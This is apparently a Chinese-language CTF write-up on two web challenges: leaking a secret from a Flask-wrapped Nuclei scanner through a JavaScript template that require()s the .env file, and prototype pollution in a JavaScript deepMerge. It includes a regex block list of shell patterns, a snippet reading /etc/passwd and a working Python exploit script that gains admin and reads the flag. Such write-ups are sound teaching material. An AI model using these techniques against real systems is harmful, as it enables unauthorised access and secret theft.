idekctf https://ctf.idek.team
又是顶难web的一场比赛()
scanme 初看发现有yaml怀疑会不会有yaml反序列化但是审码头疼就放弃了
Nuclei?这是什么工具
1 Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。
审计?大力审!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 from flask import Flask, send_file, request, jsonifyimport subprocessimport jsonimport osimport tempfileimport yamlfrom datetime import datetimeimport refrom dotenv import load_dotenv load_dotenv() PORT = os.environ.get("PORT" , 1337 ) SECRET = os.environ.get("SECRET" , "secret" ) app = Flask(__name__)def validate_template (template_content ): """Validate Nuclei template YAML structure""" try : template = yaml.safe_load(template_content) if not isinstance (template, dict ): return False , "Template must be a YAML object" if 'id' not in template: return False , "Template must have an 'id' field" if 'info' not in template: return False , "Template must have an 'info' field" dangerous_patterns = [ r'exec\s*:' , r'shell\s*:' , r'command\s*:' , r'file\s*:.*\.\./\.\.' , ] template_str = str (template_content).lower() for pattern in dangerous_patterns: if re.search(pattern, template_str): return False , f"Template contains potentially dangerous operations: {pattern} " return True , "Template is valid" except yaml.YAMLError as e: return False , f"Invalid YAML: {str (e)} " def check_nuclei_installed (): """Check if Nuclei is installed and accessible""" try : result = subprocess.run(['nuclei' , '-version' ], capture_output=True , text=True , timeout=10 ) return result.returncode == 0 except (subprocess.TimeoutExpired, FileNotFoundError): return False @app.route('/' ) def index (): return send_file("index.html" )@app.route('/scan' , methods=['POST' ] ) def scan (): try : if not check_nuclei_installed(): return jsonify({ 'success' : False , 'error' : 'Nuclei is not installed or not accessible. Please install Nuclei first.' }) port = request.form.get('port' , '80' ) template_type = request.form.get('template_type' , 'builtin' ) try : port_num = int (port) if not (1 <= port_num <= 65535 ): raise ValueError() except ValueError: return jsonify({'success' : False , 'error' : 'Invalid port number' }) target = f"http://127.0.0.1:{port} " cmd = ['nuclei' , '-target' , target, '-jsonl' , '--no-color' ] if template_type == 'custom' : template_content = request.form.get('template_content' , '' ).strip() if not template_content: return jsonify({'success' : False , 'error' : 'Custom template content is required' }) is_valid, validation_msg = validate_template(template_content) if not is_valid: return jsonify({'success' : False , 'error' : f'Template validation failed: {validation_msg} ' }) with tempfile.NamedTemporaryFile(mode='w' , suffix='.yaml' , delete=False ) as f: f.write(template_content) template_file = f.name cmd.extend(['-t' , template_file]) else : builtin_template = request.form.get('builtin_template' , 'http/misconfiguration' ) admin_secret = request.headers.get('X-Secret' ) if admin_secret != SECRET and builtin_template not in [ "http/misconfiguration" , "http/technologies" , "http/vulnerabilities" , "ssl" , "dns" ]: return jsonify({ 'success' : False , 'error' : 'Only administrators may enter a non-allowlisted template.' }) cmd.extend(['-t' , builtin_template]) cmd.extend([ '-timeout' , '30' , '-retries' , '1' , '-rate-limit' , '5' ]) result = subprocess.run(cmd, capture_output=True , text=True , timeout=60 ) if template_type == 'custom' and 'template_file' in locals (): try : os.unlink(template_file) except OSError: pass if result.returncode == 0 or result.stdout: output_lines = [] if result.stdout.strip(): for line in result.stdout.strip().split('\n' ): if line.strip(): try : finding = json.loads(line) formatted_finding = f""" 🔍 Finding: {finding.get('info' , {} ).get('name', 'Unknown')} 📋 Template: {finding.get('template-id' , 'N/A' )} 🎯 Target: {finding.get('matched-at' , 'N/A' )} ⚠️ Severity: {finding.get('info' , {} ).get('severity', 'N/A')} 📝 Description: {finding.get('info' , {} ).get('description', 'N/A')} 🔗 Reference: {', ' .join(finding.get('info' , {} ).get('reference', []))} ---""" output_lines.append(formatted_finding) except json.JSONDecodeError: output_lines.append(f"Raw output: {line} " ) if not output_lines: output_lines.append("✅ No vulnerabilities or issues found." ) if result.stderr: output_lines.append(f"\n⚠️ Warnings/Errors:\n{result.stderr} " ) return jsonify({ 'success' : True , 'output' : '\n' .join(output_lines) }) else : error_msg = result.stderr if result.stderr else "Scan completed with no output" return jsonify({ 'success' : False , 'error' : error_msg }) except subprocess.TimeoutExpired: return jsonify({ 'success' : False , 'error' : 'Scan timed out. The target may be unresponsive.' }) except Exception as e: return jsonify({ 'success' : False , 'error' : f'An error occurred: {str (e)} ' })if __name__ == '__main__' : app.run("0.0.0.0" , PORT)
是这么个页面,点击按钮向/scan路由发包,有四个参数
看看主要函数,检测yaml文件是否合规,甚至有黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def validate_template (template_content ): """Validate Nuclei template YAML structure""" try : template = yaml.safe_load(template_content) if not isinstance (template, dict ): return False , "Template must be a YAML object" if 'id' not in template: return False , "Template must have an 'id' field" if 'info' not in template: return False , "Template must have an 'info' field" dangerous_patterns = [ r'exec\s*:' , r'shell\s*:' , r'command\s*:' , r'file\s*:.*\.\./\.\.' , ] template_str = str (template_content).lower() for pattern in dangerous_patterns: if re.search(pattern, template_str): return False , f"Template contains potentially dangerous operations: {pattern} " return True , "Template is valid"
根据dockerfile里flag的位置,这道题大抵得RCE的,我们关注一下
1 2 3 4 5 6 7 8 9 10 is_valid, validation_msg = validate_template(template_content) if not is_valid: return jsonify({'success' : False , 'error' : f'Template validation failed: {validation_msg} ' }) with tempfile.NamedTemporaryFile(mode='w' , suffix='.yaml' , delete=False ) as f: f.write(template_content) template_file = f.name cmd.extend(['-t' , template_file])
在选择custom后,会验证我们的yaml数据是否符合格式,然后再创建一个临时文件,/tmp/<random_characters>.yaml
,用于-t解析模板,结束后会unlink
而另一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 builtin_template = request.form.get('builtin_template' , 'http/misconfiguration' ) admin_secret = request.headers.get('X-Secret' ) if admin_secret != SECRET and builtin_template not in [ "http/misconfiguration" , "http/technologies" , "http/vulnerabilities" , "ssl" , "dns" ]: return jsonify({ 'success' : False , 'error' : 'Only administrators may enter a non-allowlisted template.' }) cmd.extend(['-t' , builtin_template])
如果我们拿到Secrete,就可以解析任意模板了,其实就是可以解析任意文件了?如果直通/flag.txt呢?也许我们等会可以本地搭环境进去shell里面,试试这个命令是否可以爆出文件内容
-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)
Nuclei 支持两种方式加载模板:
直接指定 YAML 文件路径 _(如 __-t /path/to/template.yaml_
)。
使用内置模板名称 _(如 __-t "http/misconfiguration"_
),Nuclei 会自动从内置模板库加载。
所以可以理解了~
所谓模板类似如下:
1 2 3 4 5 6 7 8 9 10 11 12 id : example-vuln info: name: Example Vulnerability author: yourname requests: - method: GET path: "/admin.php" matchers: - type : word words: - "Admin Panel" - "Login"
在validate_template时,是safe_load,那么在模板解析时呢?
但是稍微查了一下Go 的 **yaml.Unmarshal**
不会执行代码 ,因此即使恶意模板包含 !!python/object
这类标签,也不会被解析成代码执行 。 不尽人意
综合上述分析,关键在于泄露出SECRET环境变量
而关于这个问题着实没有头绪,让我们看看老外的思路是什么:
泄露环境变量 Nuclei 允许在 YAML 模板中使用 JavaScript 代码(javascript:
模块),用于执行动态检测逻辑。 例如:
1 2 3 4 5 javascript: - code: | const fs = require('nuclei/fs'); const content = fs.ReadFileAsString('/etc/passwd'); log(content);
但默认情况下,Nuclei 禁止直接读取系统文件 (除非启用 -lfa
参数)。
但是柳暗花明,require()
是 JavaScript 语言的原生功能 ,动态加载机制不受 Nuclei 的沙盒限制。
JavaScript 的 require()
会尝试加载并执行指定的文件。 如果目标文件是 合法的 JavaScript/JSON 语法 ,它会被成功解析并执行。
相当于将任意符合js语法的文件内容加载,再利用log, 专门用于将数据输出到 Nuclei 的扫描结果中, 将内容传递给 Nuclei 的日志系统。
Goja 默认不提供 **console**
对象 与 Node.js 或浏览器不同,Goja 是一个精简的 JavaScript 引擎,没有内置 console
API。
如果,环境变量存储在一个文件中,且这个文件符合js格式,是不是就可以实现了呢?
这里就要好好提醒大家看全文件了,在给的附件里,还有一个.env的文件,而里面:
1 2 PORT=1337 SECRET="REDACTED"
再看Dockerfile如何处理它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 FROM python:3.11 -slim RUN apt-get update && apt-get install -y \ wget \ ca-certificates \ && rm -rf /var/lib/apt/lists/* ENV GO_VERSION=1.21 .5 RUN wget https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz && \ tar -C /usr/local -xzf go${GO_VERSION}.linux-amd64.tar.gz && \ rm go${GO_VERSION}.linux-amd64.tar.gz ENV PATH=$PATH:/usr/local/go/bin ENV GOPATH=/go ENV PATH=$PATH:$GOPATH/bin RUN groupadd -r nuclei && useradd -m -g nuclei nuclei WORKDIR /home/nuclei COPY app.py . COPY .env . COPY index.html . COPY requirements.txt . COPY flag.txt / RUN pip install --no-cache-dir -r requirements.txt RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest RUN /go/bin /nuclei -update-templates USER nuclei EXPOSE 1337 CMD ["python" , "app.py" ]
欧克可以确定目录了!!/home/nuclei/.env
现在,只剩最后一步,这个格式是否符合js?直接试吧就,本地shell环境即可~
我疯了,wsl崩了docker崩了,配置坏境超级慢
不过大抵上是可以的,这道题主要在于理解这个工具,知道怎么写yaml格式,知道js的一些tricks
justctf https://2025.justctf.team/
Positive Players 初看不惊人,坐牢就明白了()
老外的原型链污染考察这么神
看一下源码,明确禁止了__proto__,constructor,prototype
在整个注册过程中
新增了一个字典
1 2 3 4 5 6 7 8 9 10 11 12 users[username] = { password: password, isAdmin: false, themeConfig: { theme: { primaryColor: '#6200EE', secondaryColor: '#03DAC6', fontSize: '16px', fontFamily: 'Roboto, sans-serif' } } };
污染的关键函数
1 2 3 4 5 6 7 8 9 const deepMerge = (target, source ) => { for (const key in source) { if (source[key] instanceof Object && key in target) { Object .assign (source[key], deepMerge (target[key], source[key])); } } Object .assign (target || {}, source); return target; };
只有污染user[username].isAdmin=true才行
但是我们知道,哪怕我们绕过了__proto__实现污染,获得以下效果
1 2 3 4 5 6 7 8 > users['a'].themeConfig.theme.__proto__.isAdmin = true; < true > users['a'].themeConfig.theme.isAdmin; < true > users['a'].themeConfig.isAdmin; < true > users['a'].isAdmin; < false
user[‘a’]自身存在这个isAdmin属性,只有不存在的时候才可以污染成功
到底应该怎么办呢
有这么个toString
当我们随便注册一个账户进行污染时
toString.isAdmin=1时
toStrinf已经被污染
这个时候登录一个username=toString的账号,不传password
因为if (user && user.password === password),可以绕过
或者你污染toString.password?没试,应该可
进去之后直接/flag
成功拿到
justCTF{This_Prototype_Pollution_variant_actually_works_on_real_apps!_3rcwtirsieh}
同上,__defineGetter__也是一样的效果
再发现valueOf
也是如此
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport random HOST = 'http://o4pbo50evbr728wcmfazbuhlb9m5hh.positiveplayers.web.jctf.pro' sess = requests.Session() username = password = random.randbytes(4 ).hex () register_data = { 'username' : username, 'password' : password, } r = sess.post(HOST + '/register' , data=register_data, allow_redirects=False )print (r.status_code, r.text) r = sess.get(HOST + '/theme?valueOf.isAdmin=1' , allow_redirects=False )print (r.status_code, r.text) login_data = { 'username' : 'valueOf' , } r = sess.post(HOST + '/login' , data=login_data, allow_redirects=False )print (r.status_code, r.text) r = sess.get(HOST + '/flag' , allow_redirects=False )print (r.text)
看看
1 2 3 4 5 6 7 8 9 10 11 function getAllProperties (obj ) { const props = new Set (); let currentObj = obj; while (currentObj !== null ) { Object .getOwnPropertyNames (currentObj).forEach (prop => props.add (prop)); currentObj = Object .getPrototypeOf (currentObj); } return Array .from (props); }
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 All properties of user: [ 'password', 'isAdmin', 'themeConfig', 'constructor', '__defineGetter__', '__defineSetter__', 'hasOwnProperty', '__lookupGetter__', '__lookupSetter__', 'isPrototypeOf', 'propertyIsEnumerable', 'toString', 'valueOf', '__proto__', 'toLocaleString' ]
这些原型方法(不能被枚举的属性)(Object.prototype
原生提供 )都是可行的嘛?全部试试
欧克,测了一下全部可以~
一般咱们对于原型链污染,用__proto__这样可以影响到所有对象(已含有污染属性的对象除外)
而修改原型方法的属性,仅使用于如user[toString].isAdmin==true这种方式,审计的时候留个心眼即可~
该题倒是还未绕过WAF,不知道有无大手子绕过(虽然没用)
又想了一下,未必没用,浅试一下
1 2 3 4 5 6 r = sess.get(HOST + '/theme?__proto__.hack.isAdmin=1' , allow_redirects=False ) login_data = { 'username' : 'hack' , } 拿到flag{test}
user[hack].isAdmin=user.hack.isAdmin
user我们没有hack这个属性,因此成功原型链污染~
所以有无大手子绕过走出来啦?
1 2 3 4 if (source[key] instanceof Object && Object.prototype.hasOwnProperty.call(target, key)) { Object.assign(source[key], deepMerge(target[key], source[key])); }
只允许自身所属属性而非继承的属性归并,这种就不用担心污染咯(也许…)